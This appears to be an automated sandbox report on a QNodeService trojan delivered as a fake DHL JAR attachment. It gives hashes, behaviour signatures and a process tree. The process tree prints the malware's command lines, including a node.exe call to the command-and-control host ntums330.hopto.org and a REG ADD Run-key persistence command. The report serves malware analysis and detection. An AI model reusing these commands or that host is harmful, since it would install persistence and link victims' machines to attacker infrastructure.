Analysis

  • max time kernel
    41s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 16:07

General

  • Target

    DHL_Nov 2020 at 1.30_8BZ290_JPG.jar

  • Size

    80KB

  • MD5

    bc9bc1344ede28241a766c62d8e9b85c

  • SHA1

    69b27db9abbcb789446ca58bef12114bace70522

  • SHA256

    6298a35bbd71c83523d72cccf0e868d3a2c1bfd1e96429c381d527b85d29ef69

  • SHA512

    3ff826eba8a9bbc6e87e16b2b96a157af3ecc5ceb042068cc216ac339540ca8dc68b0f706273cd57a53fc2c18248bba191fd59c5394de06812a0b8258eab3385

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\DHL_Nov 2020 at 1.30_8BZ290_JPG.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\8c793d80.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3128
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Z1wpCR\boot.js --hub-domain ntums330.hopto.org
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2120
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Z1wpCR\boot.js --hub-domain ntums330.hopto.org
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1432
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "79c267f0-d14f-4c01-b891-0985dd9a054b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3768
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "79c267f0-d14f-4c01-b891-0985dd9a054b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:516

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1432-182-0x0000027EA8FC0000-0x0000027EA8FC1000-memory.dmp

    Filesize

    4KB

  • memory/2120-178-0x000003A8BE580000-0x000003A8BE581000-memory.dmp

    Filesize

    4KB

  • memory/3128-175-0x00000300CEB40000-0x00000300CEB41000-memory.dmp

    Filesize

    4KB